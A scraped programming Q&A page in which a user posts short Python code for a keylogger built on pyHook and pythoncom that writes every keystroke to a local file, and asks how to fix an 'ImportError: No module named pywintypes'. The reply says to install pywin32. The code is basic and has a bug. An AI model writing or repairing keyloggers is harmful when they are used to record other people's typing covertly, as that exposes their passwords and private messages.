Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
1.3k views
in Technique[技术] by (71.8m points)

python - ImportError: No module named pywintypes

I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:

import pyHook, pythoncom, sys, logging

file_log = 'C:\important\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(Event.Ascii))
    return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

When it runs, it returns this error message:

 File "C:Python27libsite-packagespythoncom.py", line 2, in <module>
    import pywintypes
ImportError: No module named pywintypes

How do I fix this error?

See Question&Answers more detail:os

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)

pywintypes is part of the Python for Windows extensions, otherwise known as pywin32. You'll need to install that to get access to pywintypes.

Note that as of this writing, pywin32's maintainer doesn't upload files to PyPI, so you have to get an appropriate version of installer from http://pywin32.sf.net.


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...